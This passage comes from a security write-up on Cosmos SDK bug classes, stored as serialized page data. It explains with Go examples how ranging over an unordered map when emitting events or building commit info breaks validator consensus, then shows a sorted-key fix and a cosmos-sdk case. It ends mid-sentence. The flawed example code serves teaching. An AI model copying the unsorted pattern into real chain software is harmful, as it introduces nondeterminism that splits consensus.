}\n}\n",[76051],{"type":23,"tag":56,"props":76052,"children":76053},{"__ignoreMap":7},[76054,76087,76094,76123,76160,76189,76210,76222,76259,76267,76274,76281],{"type":23,"tag":504,"props":76055,"children":76056},{"class":506,"line":507},[76057,76061,76066,76070,76074,76078,76082],{"type":23,"tag":504,"props":76058,"children":76059},{"style":511},[76060],{"type":28,"value":31734},{"type":23,"tag":504,"props":76062,"children":76063},{"style":1012},[76064],{"type":28,"value":76065}," ObjectMap",{"type":23,"tag":504,"props":76067,"children":76068},{"style":511},[76069],{"type":28,"value":48648},{"type":23,"tag":504,"props":76071,"children":76072},{"style":523},[76073],{"type":28,"value":2711},{"type":23,"tag":504,"props":76075,"children":76076},{"style":1012},[76077],{"type":28,"value":28648},{"type":23,"tag":504,"props":76079,"children":76080},{"style":523},[76081],{"type":28,"value":14391},{"type":23,"tag":504,"props":76083,"children":76084},{"style":1012},[76085],{"type":28,"value":76086},"string\n",{"type":23,"tag":504,"props":76088,"children":76089},{"class":506,"line":540},[76090],{"type":23,"tag":504,"props":76091,"children":76092},{"emptyLinePlaceholder":16},[76093],{"type":28,"value":1038},{"type":23,"tag":504,"props":76095,"children":76096},{"class":506,"line":555},[76097,76101,76106,76110,76115,76119],{"type":23,"tag":504,"props":76098,"children":76099},{"style":511},[76100],{"type":28,"value":75051},{"type":23,"tag":504,"props":76102,"children":76103},{"style":517},[76104],{"type":28,"value":76105}," EmitEntries",{"type":23,"tag":504,"props":76107,"children":76108},{"style":523},[76109],{"type":28,"value":526},{"type":23,"tag":504,"props":76111,"children":76112},{"style":529},[76113],{"type":28,"value":76114},"objectMap",{"type":23,"tag":504,"props":76116,"children":76117},{"style":1012},[76118],{"type":28,"value":76065},{"type":23,"tag":504,"props":76120,"children":76121},{"style":523},[76122],{"type":28,"value":537},{"type":23,"tag":504,"props":76124,"children":76125},{"class":506,"line":633},[76126,76130,76134,76138,76142,76146,76151,76156],{"type":23,"tag":504,"props":76127,"children":76128},{"style":544},[76129],{"type":28,"value":2008},{"type":23,"tag":504,"props":76131,"children":76132},{"style":529},[76133],{"type":28,"value":4915},{"type":23,"tag":504,"props":76135,"children":76136},{"style":523},[76137],{"type":28,"value":576},{"type":23,"tag":504,"props":76139,"children":76140},{"style":529},[76141],{"type":28,"value":38128},{"type":23,"tag":504,"props":76143,"children":76144},{"style":598},[76145],{"type":28,"value":75167},{"type":23,"tag":504,"props":76147,"children":76148},{"style":544},[76149],{"type":28,"value":76150}," range",{"type":23,"tag":504,"props":76152,"children":76153},{"style":529},[76154],{"type":28,"value":76155}," objectMap",{"type":23,"tag":504,"props":76157,"children":76158},{"style":523},[76159],{"type":28,"value":552},{"type":23,"tag":504,"props":76161,"children":76162},{"class":506,"line":687},[76163,76167,76171,76176,76180,76185],{"type":23,"tag":504,"props":76164,"children":76165},{"style":529},[76166],{"type":28,"value":25166},{"type":23,"tag":504,"props":76168,"children":76169},{"style":523},[76170],{"type":28,"value":320},{"type":23,"tag":504,"props":76172,"children":76173},{"style":529},[76174],{"type":28,"value":76175},"EventManager",{"type":23,"tag":504,"props":76177,"children":76178},{"style":523},[76179],{"type":28,"value":320},{"type":23,"tag":504,"props":76181,"children":76182},{"style":517},[76183],{"type":28,"value":76184},"EmitEvent",{"type":23,"tag":504,"props":76186,"children":76187},{"style":523},[76188],{"type":28,"value":2439},{"type":23,"tag":504,"props":76190,"children":76191},{"class":506,"line":736},[76192,76197,76201,76206],{"type":23,"tag":504,"props":76193,"children":76194},{"style":529},[76195],{"type":28,"value":76196},"            sdk",{"type":23,"tag":504,"props":76198,"children":76199},{"style":523},[76200],{"type":28,"value":320},{"type":23,"tag":504,"props":76202,"children":76203},{"style":517},[76204],{"type":28,"value":76205},"NewEvent",{"type":23,"tag":504,"props":76207,"children":76208},{"style":523},[76209],{"type":28,"value":2439},{"type":23,"tag":504,"props":76211,"children":76212},{"class":506,"line":785},[76213,76218],{"type":23,"tag":504,"props":76214,"children":76215},{"style":622},[76216],{"type":28,"value":76217},"                \"MapContext\"",{"type":23,"tag":504,"props":76219,"children":76220},{"style":523},[76221],{"type":28,"value":2484},{"type":23,"tag":504,"props":76223,"children":76224},{"class":506,"line":813},[76225,76230,76234,76239,76243,76247,76251,76255],{"type":23,"tag":504,"props":76226,"children":76227},{"style":529},[76228],{"type":28,"value":76229},"                sdk",{"type":23,"tag":504,"props":76231,"children":76232},{"style":523},[76233],{"type":28,"value":320},{"type":23,"tag":504,"props":76235,"children":76236},{"style":517},[76237],{"type":28,"value":76238},"NewAttribute",{"type":23,"tag":504,"props":76240,"children":76241},{"style":523},[76242],{"type":28,"value":526},{"type":23,"tag":504,"props":76244,"children":76245},{"style":529},[76246],{"type":28,"value":70905},{"type":23,"tag":504,"props":76248,"children":76249},{"style":523},[76250],{"type":28,"value":576},{"type":23,"tag":504,"props":76252,"children":76253},{"style":529},[76254],{"type":28,"value":38128},{"type":23,"tag":504,"props":76256,"children":76257},{"style":523},[76258],{"type":28,"value":5720},{"type":23,"tag":504,"props":76260,"children":76261},{"class":506,"line":851},[76262],{"type":23,"tag":504,"props":76263,"children":76264},{"style":523},[76265],{"type":28,"value":76266},"            )\n",{"type":23,"tag":504,"props":76268,"children":76269},{"class":506,"line":869},[76270],{"type":23,"tag":504,"props":76271,"children":76272},{"style":523},[76273],{"type":28,"value":67301},{"type":23,"tag":504,"props":76275,"children":76276},{"class":506,"line":878},[76277],{"type":23,"tag":504,"props":76278,"children":76279},{"style":523},[76280],{"type":28,"value":875},{"type":23,"tag":504,"props":76282,"children":76283},{"class":506,"line":1221},[76284],{"type":23,"tag":504,"props":76285,"children":76286},{"style":523},[76287],{"type":28,"value":884},{"type":23,"tag":24,"props":76289,"children":76290},{},[76291],{"type":28,"value":76292},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":1909,"props":76294,"children":76295},{},[76296],{"type":23,"tag":24,"props":76297,"children":76298},{},[76299],{"type":28,"value":76300},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":24,"props":76302,"children":76303},{},[76304,76306,76311],{"type":28,"value":76305},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":56,"props":76307,"children":76309},{"className":76308},[],[76310],{"type":28,"value":66082},{"type":28,"value":76312}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":494,"props":76314,"children":76316},{"code":76315,"language":74915,"meta":7,"className":74916,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[76317],{"type":23,"tag":56,"props":76318,"children":76319},{"__ignoreMap":7},[76320,76351,76358,76385,76405,76432,76468,76475,76504,76511,76546,76573,76592,76603,76647,76654,76661,76668],{"type":23,"tag":504,"props":76321,"children":76322},{"class":506,"line":507},[76323,76327,76331,76335,76339,76343,76347],{"type":23,"tag":504,"props":76324,"children":76325},{"style":511},[76326],{"type":28,"value":31734},{"type":23,"tag":504,"props":76328,"children":76329},{"style":1012},[76330],{"type":28,"value":76065},{"type":23,"tag":504,"props":76332,"children":76333},{"style":511},[76334],{"type":28,"value":48648},{"type":23,"tag":504,"props":76336,"children":76337},{"style":523},[76338],{"type":28,"value":2711},{"type":23,"tag":504,"props":76340,"children":76341},{"style":1012},[76342],{"type":28,"value":28648},{"type":23,"tag":504,"props":76344,"children":76345},{"style":523},[76346],{"type":28,"value":14391},{"type":23,"tag":504,"props":76348,"children":76349},{"style":1012},[76350],{"type":28,"value":76086},{"type":23,"tag":504,"props":76352,"children":76353},{"class":506,"line":540},[76354],{"type":23,"tag":504,"props":76355,"children":76356},{"emptyLinePlaceholder":16},[76357],{"type":28,"value":1038},{"type":23,"tag":504,"props":76359,"children":76360},{"class":506,"line":555},[76361,76365,76369,76373,76377,76381],{"type":23,"tag":504,"props":76362,"children":76363},{"style":511},[76364],{"type":28,"value":75051},{"type":23,"tag":504,"props":76366,"children":76367},{"style":517},[76368],{"type":28,"value":76105},{"type":23,"tag":504,"props":76370,"children":76371},{"style":523},[76372],{"type":28,"value":526},{"type":23,"tag":504,"props":76374,"children":76375},{"style":529},[76376],{"type":28,"value":76114},{"type":23,"tag":504,"props":76378,"children":76379},{"style":1012},[76380],{"type":28,"value":76065},{"type":23,"tag":504,"props":76382,"children":76383},{"style":523},[76384],{"type":28,"value":537},{"type":23,"tag":504,"props":76386,"children":76387},{"class":506,"line":633},[76388,76393,76397,76401],{"type":23,"tag":504,"props":76389,"children":76390},{"style":511},[76391],{"type":28,"value":76392},"    var",{"type":23,"tag":504,"props":76394,"children":76395},{"style":529},[76396],{"type":28,"value":20361},{"type":23,"tag":504,"props":76398,"children":76399},{"style":523},[76400],{"type":28,"value":74978},{"type":23,"tag":504,"props":76402,"children":76403},{"style":1012},[76404],{"type":28,"value":76086},{"type":23,"tag":504,"props":76406,"children":76407},{"class":506,"line":687},[76408,76412,76416,76420,76424,76428],{"type":23,"tag":504,"props":76409,"children":76410},{"style":544},[76411],{"type":28,"value":2008},{"type":23,"tag":504,"props":76413,"children":76414},{"style":529},[76415],{"type":28,"value":4915},{"type":23,"tag":504,"props":76417,"children":76418},{"style":598},[76419],{"type":28,"value":75167},{"type":23,"tag":504,"props":76421,"children":76422},{"style":544},[76423],{"type":28,"value":76150},{"type":23,"tag":504,"props":76425,"children":76426},{"style":529},[76427],{"type":28,"value":76155},{"type":23,"tag":504,"props":76429,"children":76430},{"style":523},[76431],{"type":28,"value":552},{"type":23,"tag":504,"props":76433,"children":76434},{"class":506,"line":736},[76435,76439,76443,76448,76452,76456,76460,76464],{"type":23,"tag":504,"props":76436,"children":76437},{"style":529},[76438],{"type":28,"value":24311},{"type":23,"tag":504,"props":76440,"children":76441},{"style":598},[76442],{"type":28,"value":648},{"type":23,"tag":504,"props":76444,"children":76445},{"style":517},[76446],{"type":28,"value":76447}," append",{"type":23,"tag":504,"props":76449,"children":76450},{"style":523},[76451],{"type":28,"value":526},{"type":23,"tag":504,"props":76453,"children":76454},{"style":529},[76455],{"type":28,"value":19964},{"type":23,"tag":504,"props":76457,"children":76458},{"style":523},[76459],{"type":28,"value":576},{"type":23,"tag":504,"props":76461,"children":76462},{"style":529},[76463],{"type":28,"value":70905},{"type":23,"tag":504,"props":76465,"children":76466},{"style":523},[76467],{"type":28,"value":1192},{"type":23,"tag":504,"props":76469,"children":76470},{"class":506,"line":785},[76471],{"type":23,"tag":504,"props":76472,"children":76473},{"style":523},[76474],{"type":28,"value":875},{"type":23,"tag":504,"props":76476,"children":76477},{"class":506,"line":813},[76478,76483,76487,76492,76496,76500],{"type":23,"tag":504,"props":76479,"children":76480},{"style":529},[76481],{"type":28,"value":76482},"    sort",{"type":23,"tag":504,"props":76484,"children":76485},{"style":523},[76486],{"type":28,"value":320},{"type":23,"tag":504,"props":76488,"children":76489},{"style":517},[76490],{"type":28,"value":76491},"Strings",{"type":23,"tag":504,"props":76493,"children":76494},{"style":523},[76495],{"type":28,"value":526},{"type":23,"tag":504,"props":76497,"children":76498},{"style":529},[76499],{"type":28,"value":19964},{"type":23,"tag":504,"props":76501,"children":76502},{"style":523},[76503],{"type":28,"value":1192},{"type":23,"tag":504,"props":76505,"children":76506},{"class":506,"line":851},[76507],{"type":23,"tag":504,"props":76508,"children":76509},{"emptyLinePlaceholder":16},[76510],{"type":28,"value":1038},{"type":23,"tag":504,"props":76512,"children":76513},{"class":506,"line":869},[76514,76518,76522,76526,76530,76534,76538,76542],{"type":23,"tag":504,"props":76515,"children":76516},{"style":544},[76517],{"type":28,"value":2008},{"type":23,"tag":504,"props":76519,"children":76520},{"style":529},[76521],{"type":28,"value":2013},{"type":23,"tag":504,"props":76523,"children":76524},{"style":523},[76525],{"type":28,"value":576},{"type":23,"tag":504,"props":76527,"children":76528},{"style":529},[76529],{"type":28,"value":70905},{"type":23,"tag":504,"props":76531,"children":76532},{"style":598},[76533],{"type":28,"value":75167},{"type":23,"tag":504,"props":76535,"children":76536},{"style":544},[76537],{"type":28,"value":76150},{"type":23,"tag":504,"props":76539,"children":76540},{"style":529},[76541],{"type":28,"value":20361},{"type":23,"tag":504,"props":76543,"children":76544},{"style":523},[76545],{"type":28,"value":552},{"type":23,"tag":504,"props":76547,"children":76548},{"class":506,"line":878},[76549,76553,76557,76561,76565,76569],{"type":23,"tag":504,"props":76550,"children":76551},{"style":529},[76552],{"type":28,"value":25166},{"type":23,"tag":504,"props":76554,"children":76555},{"style":523},[76556],{"type":28,"value":320},{"type":23,"tag":504,"props":76558,"children":76559},{"style":529},[76560],{"type":28,"value":76175},{"type":23,"tag":504,"props":76562,"children":76563},{"style":523},[76564],{"type":28,"value":320},{"type":23,"tag":504,"props":76566,"children":76567},{"style":517},[76568],{"type":28,"value":76184},{"type":23,"tag":504,"props":76570,"children":76571},{"style":523},[76572],{"type":28,"value":2439},{"type":23,"tag":504,"props":76574,"children":76575},{"class":506,"line":1221},[76576,76580,76584,76588],{"type":23,"tag":504,"props":76577,"children":76578},{"style":529},[76579],{"type":28,"value":76196},{"type":23,"tag":504,"props":76581,"children":76582},{"style":523},[76583],{"type":28,"value":320},{"type":23,"tag":504,"props":76585,"children":76586},{"style":517},[76587],{"type":28,"value":76205},{"type":23,"tag":504,"props":76589,"children":76590},{"style":523},[76591],{"type":28,"value":2439},{"type":23,"tag":504,"props":76593,"children":76594},{"class":506,"line":1276},[76595,76599],{"type":23,"tag":504,"props":76596,"children":76597},{"style":622},[76598],{"type":28,"value":76217},{"type":23,"tag":504,"props":76600,"children":76601},{"style":523},[76602],{"type":28,"value":2484},{"type":23,"tag":504,"props":76604,"children":76605},{"class":506,"line":1285},[76606,76610,76614,76618,76622,76626,76630,76634,76638,76642],{"type":23,"tag":504,"props":76607,"children":76608},{"style":529},[76609],{"type":28,"value":76229},{"type":23,"tag":504,"props":76611,"children":76612},{"style":523},[76613],{"type":28,"value":320},{"type":23,"tag":504,"props":76615,"children":76616},{"style":517},[76617],{"type":28,"value":76238},{"type":23,"tag":504,"props":76619,"children":76620},{"style":523},[76621],{"type":28,"value":526},{"type":23,"tag":504,"props":76623,"children":76624},{"style":529},[76625],{"type":28,"value":70905},{"type":23,"tag":504,"props":76627,"children":76628},{"style":523},[76629],{"type":28,"value":576},{"type":23,"tag":504,"props":76631,"children":76632},{"style":529},[76633],{"type":28,"value":76114},{"type":23,"tag":504,"props":76635,"children":76636},{"style":523},[76637],{"type":28,"value":2711},{"type":23,"tag":504,"props":76639,"children":76640},{"style":529},[76641],{"type":28,"value":70905},{"type":23,"tag":504,"props":76643,"children":76644},{"style":523},[76645],{"type":28,"value":76646},"]),\n",{"type":23,"tag":504,"props":76648,"children":76649},{"class":506,"line":1294},[76650],{"type":23,"tag":504,"props":76651,"children":76652},{"style":523},[76653],{"type":28,"value":76266},{"type":23,"tag":504,"props":76655,"children":76656},{"class":506,"line":1302},[76657],{"type":23,"tag":504,"props":76658,"children":76659},{"style":523},[76660],{"type":28,"value":67301},{"type":23,"tag":504,"props":76662,"children":76663},{"class":506,"line":1311},[76664],{"type":23,"tag":504,"props":76665,"children":76666},{"style":523},[76667],{"type":28,"value":875},{"type":23,"tag":504,"props":76669,"children":76670},{"class":506,"line":1334},[76671],{"type":23,"tag":504,"props":76672,"children":76673},{"style":523},[76674],{"type":28,"value":884},{"type":23,"tag":24,"props":76676,"children":76677},{},[76678],{"type":28,"value":76679},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":82,"props":76681,"children":76683},{"id":76682},"real-world-examples-1",[76684],{"type":28,"value":75440},{"type":23,"tag":24,"props":76686,"children":76687},{},[76688,76690,76695,76697,76703,76705,76711,76713,76719],{"type":28,"value":76689},"Real-world examples of ",{"type":23,"tag":56,"props":76691,"children":76693},{"className":76692},[],[76694],{"type":28,"value":66082},{"type":28,"value":76696}," causing determinism problems can be found ",{"type":23,"tag":92,"props":76698,"children":76701},{"href":76699,"rel":76700},"https://github.com/cosmos/cosmos-sdk/pull/12487",[96],[76702],{"type":28,"value":46564},{"type":28,"value":76704},", specifically, where the result of ",{"type":23,"tag":56,"props":76706,"children":76708},{"className":76707},[],[76709],{"type":28,"value":76710},"buildCommitInfo",{"type":28,"value":76712}," is inconsistent due to iteration over the ",{"type":23,"tag":56,"props":76714,"children":76716},{"className":76715},[],[76717],{"type":28,"value":76718},"rs.stores",{"type":28,"value":76720}," map.",{"type":23,"tag":24,"props":76722,"children":76723},{},[76724],{"type":23,"tag":92,"props":76725,"children":76728},{"href":76726,"rel":76727},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[96],[76729],{"type":28,"value":75490},{"type":23,"tag":494,"props":76731,"children":76733},{"code":76732,"language":74915,"meta":7,"className":74916,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[76734],{"type":23,"tag":56,"props":76735,"children":76736},{"__ignoreMap":7},[76737,76774,76787,76815,76849,76894,76940,76948,76955,77000,77030,77059,77066,77073,77100,77122,77142,77149],{"type":23,"tag":504,"props":76738,"children":76739},{"class":506,"line":507},[76740,76744,76748,76753,76757,76762,76766,76770],{"type":23,"tag":504,"props":76741,"children":76742},{"style":511},[76743],{"type":28,"value":75051},{"type":23,"tag":504,"props":76745,"children":76746},{"style":523},[76747],{"type":28,"value":801},{"type":23,"tag":504,"props":76749,"children":76750},{"style":529},[76751],{"type":28,"value":76752},"rs ",{"type":23,"tag":504,"props":76754,"children":76755},{"style":598},[76756],{"type":28,"value":3552},{"type":23,"tag":504,"props":76758,"children":76759},{"style":1012},[76760],{"type":28,"value":76761},"Store",{"type":23,"tag":504,"props":76763,"children":76764},{"style":523},[76765],{"type":28,"value":2064},{"type":23,"tag":504,"props":76767,"children":76768},{"style":517},[76769],{"type":28,"value":76710},{"type":23,"tag":504,"props":76771,"children":76772},{"style":523},[76773],{"type":28,"value":2439},{"type":23,"tag":504,"props":76775,"children":76776},{"class":506,"line":540},[76777,76782],{"type":23,"tag":504,"props":76778,"children":76779},{"style":529},[76780],{"type":28,"value":76781},"    version",{"type":23,"tag":504,"props":76783,"children":76784},{"style":1012},[76785],{"type":28,"value":76786}," int64\n",{"type":23,"tag":504,"props":76788,"children":76789},{"class":506,"line":555},[76790,76794,76798,76802,76806,76811],{"type":23,"tag":504,"props":76791,"children":76792},{"style":523},[76793],{"type":28,"value":2064},{"type":23,"tag":504,"props":76795,"children":76796},{"style":598},[76797],{"type":28,"value":3552},{"type":23,"tag":504,"props":76799,"children":76800},{"style":1012},[76801],{"type":28,"value":4741},{"type":23,"tag":504,"props":76803,"children":76804},{"style":523},[76805],{"type":28,"value":320},{"type":23,"tag":504,"props":76807,"children":76808},{"style":1012},[76809],{"type":28,"value":76810},"CommitInfo",{"type":23,"tag":504,"props":76812,"children":76813},{"style":523},[76814],{"type":28,"value":552},{"type":23,"tag":504,"props":76816,"children":76817},{"class":506,"line":633},[76818,76823,76827,76831,76835,76839,76844],{"type":23,"tag":504,"props":76819,"children":76820},{"style":529},[76821],{"type":28,"value":76822},"    storeInfos",{"type":23,"tag":504,"props":76824,"children":76825},{"style":598},[76826],{"type":28,"value":75167},{"type":23,"tag":504,"props":76828,"children":76829},{"style":523},[76830],{"type":28,"value":74978},{"type":23,"tag":504,"props":76832,"children":76833},{"style":1012},[76834],{"type":28,"value":4741},{"type":23,"tag":504,"props":76836,"children":76837},{"style":523},[76838],{"type":28,"value":320},{"type":23,"tag":504,"props":76840,"children":76841},{"style":1012},[76842],{"type":28,"value":76843},"StoreInfo",{"type":23,"tag":504,"props":76845,"children":76846},{"style":523},[76847],{"type":28,"value":76848},"{}\n",{"type":23,"tag":504,"props":76850,"children":76851},{"class":506,"line":687},[76852,76856,76860,76864,76868,76872,76876,76881,76885,76890],{"type":23,"tag":504,"props":76853,"children":76854},{"style":544},[76855],{"type":28,"value":2008},{"type":23,"tag":504,"props":76857,"children":76858},{"style":529},[76859],{"type":28,"value":4915},{"type":23,"tag":504,"props":76861,"children":76862},{"style":523},[76863],{"type":28,"value":576},{"type":23,"tag":504,"props":76865,"children":76866},{"style":529},[76867],{"type":28,"value":4924},{"type":23,"tag":504,"props":76869,"children":76870},{"style":598},[76871],{"type":28,"value":75167},{"type":23,"tag":504,"props":76873,"children":76874},{"style":544},[76875],{"type":28,"value":76150},{"type":23,"tag":504,"props":76877,"children":76878},{"style":529},[76879],{"type":28,"value":76880}," rs",{"type":23,"tag":504,"props":76882,"children":76883},{"style":523},[76884],{"type":28,"value":320},{"type":23,"tag":504,"props":76886,"children":76887},{"style":529},[76888],{"type":28,"value":76889},"stores",{"type":23,"tag":504,"props":76891,"children":76892},{"style":523},[76893],{"type":28,"value":552},{"type":23,"tag":504,"props":76895,"children":76896},{"class":506,"line":736},[76897,76901,76905,76909,76914,76918,76922,76927,76931,76936],{"type":23,"tag":504,"props":76898,"children":76899},{"style":544},[76900],{"type":28,"value":2250},{"type":23,"tag":504,"props":76902,"children":76903},{"style":529},[76904],{"type":28,"value":4814},{"type":23,"tag":504,"props":76906,"children":76907},{"style":523},[76908],{"type":28,"value":320},{"type":23,"tag":504,"props":76910,"children":76911},{"style":517},[76912],{"type":28,"value":76913},"GetStoreType",{"type":23,"tag":504,"props":76915,"children":76916},{"style":523},[76917],{"type":28,"value":13024},{"type":23,"tag":504,"props":76919,"children":76920},{"style":598},[76921],{"type":28,"value":7559},{"type":23,"tag":504,"props":76923,"children":76924},{"style":529},[76925],{"type":28,"value":76926}," types",{"type":23,"tag":504,"props":76928,"children":76929},{"style":523},[76930],{"type":28,"value":320},{"type":23,"tag":504,"props":76932,"children":76933},{"style":529},[76934],{"type":28,"value":76935},"StoreTypeTransient",{"type":23,"tag":504,"props":76937,"children":76938},{"style":523},[76939],{"type":28,"value":552},{"type":23,"tag":504,"props":76941,"children":76942},{"class":506,"line":785},[76943],{"type":23,"tag":504,"props":76944,"children":76945},{"style":544},[76946],{"type":28,"value":76947},"            continue\n",{"type":23,"tag":504,"props":76949,"children":76950},{"class":506,"line":813},[76951],{"type":23,"tag":504,"props":76952,"children":76953},{"style":523},[76954],{"type":28,"value":1291},{"type":23,"tag":504,"props":76956,"children":76957},{"class":506,"line":851},[76958,76963,76967,76971,76975,76980,76984,76988,76992,76996],{"type":23,"tag":504,"props":76959,"children":76960},{"style":529},[76961],{"type":28,"value":76962},"        storeInfos",{"type":23,"tag":504,"props":76964,"children":76965},{"style":598},[76966],{"type":28,"value":648},{"type":23,"tag":504,"props":76968,"children":76969},{"style":517},[76970],{"type":28,"value":76447},{"type":23,"tag":504,"props":76972,"children":76973},{"style":523},[76974],{"type":28,"value":526},{"type":23,"tag":504,"props":76976,"children":76977},{"style":529},[76978],{"type":28,"value":76979},"storeInfos",{"type":23,"tag":504,"props":76981,"children":76982},{"style":523},[76983],{"type":28,"value":576},{"type":23,"tag":504,"props":76985,"children":76986},{"style":1012},[76987],{"type":28,"value":4741},{"type":23,"tag":504,"props":76989,"children":76990},{"style":523},[76991],{"type":28,"value":320},{"type":23,"tag":504,"props":76993,"children":76994},{"style":1012},[76995],{"type":28,"value":76843},{"type":23,"tag":504,"props":76997,"children":76998},{"style":523},[76999],{"type":28,"value":9862},{"type":23,"tag":504,"props":77001,"children":77002},{"class":506,"line":869},[77003,77008,77013,77017,77021,77026],{"type":23,"tag":504,"props":77004,"children":77005},{"style":529},[77006],{"type":28,"value":77007},"            Name",{"type":23,"tag":504,"props":77009,"children":77010},{"style":523},[77011],{"type":28,"value":77012},":     ",{"type":23,"tag":504,"props":77014,"children":77015},{"style":529},[77016],{"type":28,"value":70905},{"type":23,"tag":504,"props":77018,"children":77019},{"style":523},[77020],{"type":28,"value":320},{"type":23,"tag":504,"props":77022,"children":77023},{"style":517},[77024],{"type":28,"value":77025},"Name",{"type":23,"tag":504,"props":77027,"children":77028},{"style":523},[77029],{"type":28,"value":2467},{"type":23,"tag":504,"props":77031,"children":77032},{"class":506,"line":878},[77033,77038,77042,77046,77050,77055],{"type":23,"tag":504,"props":77034,"children":77035},{"style":529},[77036],{"type":28,"value":77037},"            CommitId",{"type":23,"tag":504,"props":77039,"children":77040},{"style":523},[77041],{"type":28,"value":14311},{"type":23,"tag":504,"props":77043,"children":77044},{"style":529},[77045],{"type":28,"value":4924},{"type":23,"tag":504,"props":77047,"children":77048},{"style":523},[77049],{"type":28,"value":320},{"type":23,"tag":504,"props":77051,"children":77052},{"style":517},[77053],{"type":28,"value":77054},"LastCommitID",{"type":23,"tag":504,"props":77056,"children":77057},{"style":523},[77058],{"type":28,"value":2467},{"type":23,"tag":504,"props":77060,"children":77061},{"class":506,"line":1221},[77062],{"type":23,"tag":504,"props":77063,"children":77064},{"style":523},[77065],{"type":28,"value":67178},{"type":23,"tag":504,"props":77067,"children":77068},{"class":506,"line":1276},[77069],{"type":23,"tag":504,"props":77070,"children":77071},{"style":523},[77072],{"type":28,"value":875},{"type":23,"tag":504,"props":77074,"children":77075},{"class":506,"line":1285},[77076,77080,77084,77088,77092,77096],{"type":23,"tag":504,"props":77077,"children":77078},{"style":544},[77079],{"type":28,"value":15968},{"type":23,"tag":504,"props":77081,"children":77082},{"style":598},[77083],{"type":28,"value":6125},{"type":23,"tag":504,"props":77085,"children":77086},{"style":1012},[77087],{"type":28,"value":4741},{"type":23,"tag":504,"props":77089,"children":77090},{"style":523},[77091],{"type":28,"value":320},{"type":23,"tag":504,"props":77093,"children":77094},{"style":1012},[77095],{"type":28,"value":76810},{"type":23,"tag":504,"props":77097,"children":77098},{"style":523},[77099],{"type":28,"value":9862},{"type":23,"tag":504,"props":77101,"children":77102},{"class":506,"line":1294},[77103,77108,77113,77118],{"type":23,"tag":504,"props":77104,"children":77105},{"style":529},[77106],{"type":28,"value":77107},"        Version",{"type":23,"tag":504,"props":77109,"children":77110},{"style":523},[77111],{"type":28,"value":77112},":    ",{"type":23,"tag":504,"props":77114,"children":77115},{"style":529},[77116],{"type":28,"value":77117},"version",{"type":23,"tag":504,"props":77119,"children":77120},{"style":523},[77121],{"type":28,"value":2484},{"type":23,"tag":504,"props":77123,"children":77124},{"class":506,"line":1302},[77125,77130,77134,77138],{"type":23,"tag":504,"props":77126,"children":77127},{"style":529},[77128],{"type":28,"value":77129},"        StoreInfos",{"type":23,"tag":504,"props":77131,"children":77132},{"style":523},[77133],{"type":28,"value":14311},{"type":23,"tag":504,"props":77135,"children":77136},{"style":529},[77137],{"type":28,"value":76979},{"type":23,"tag":504,"props":77139,"children":77140},{"style":523},[77141],{"type":28,"value":2484},{"type":23,"tag":504,"props":77143,"children":77144},{"class":506,"line":1311},[77145],{"type":23,"tag":504,"props":77146,"children":77147},{"style":523},[77148],{"type":28,"value":875},{"type":23,"tag":504,"props":77150,"children":77151},{"class":506,"line":1334},[77152],{"type":23,"tag":504,"props":77153,"children":77154},{"style":523},[77155],{"type":28,"value":884},{"type":23,"tag":24,"props":77157,"children":77158},{},[77159,77161,77168,77169,77176],{"type":28,"value":77160},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":92,"props":77162,"children":77165},{"href":77163,"rel":77164},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[96],[77166],{"type":28,"value":77167},"time-sensitive functions",{"type":28,"value":430},{"type":23,"tag":92,"props":77170,"children":77173},{"href":77171,"rel":77172},"https://github.com/cosmos/cosmos-sdk/issues/16638",[96],[77174],{"type":28,"value":77175},"race conditions",{"type":28,"value":320},{"type":23,"tag":70,"props":77178,"children":77180},{"id":77179},"thou-shalt-not-passor-should-you",[77181],{"type":28,"value":77182},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":77184,"children":77185},{},[77186,77188,77194,77195,77201],{"type":28,"value":77187},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":56,"props":77189,"children":77191},{"className":77190},[],[77192],{"type":28,"value":77193},"msg.value",{"type":28,"value":576},{"type":23,"tag":56,"props":77196,"children":77198},{"className":77197},[],[77199],{"type":28,"value":77200},"msg.sender",{"type":28,"value":77202},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":77204,"children":77205},{},[77206,77208,77214,77216,77222],{"type":28,"value":77207},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":56,"props":77209,"children":77211},{"className":77210},[],[77212],{"type":28,"value":77213},"Cosmos-SDK",{"type":28,"value":77215}," introduces ",{"type":23,"tag":56,"props":77217,"children":77219},{"className":77218},[],[77220],{"type":28,"value":77221},"AnteHandler",{"type":28,"value":77223}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":77225,"children":77226},{},[77227,77229,77234,77236,77241],{"type":28,"value":77228},"To provide context, let's first understand how an 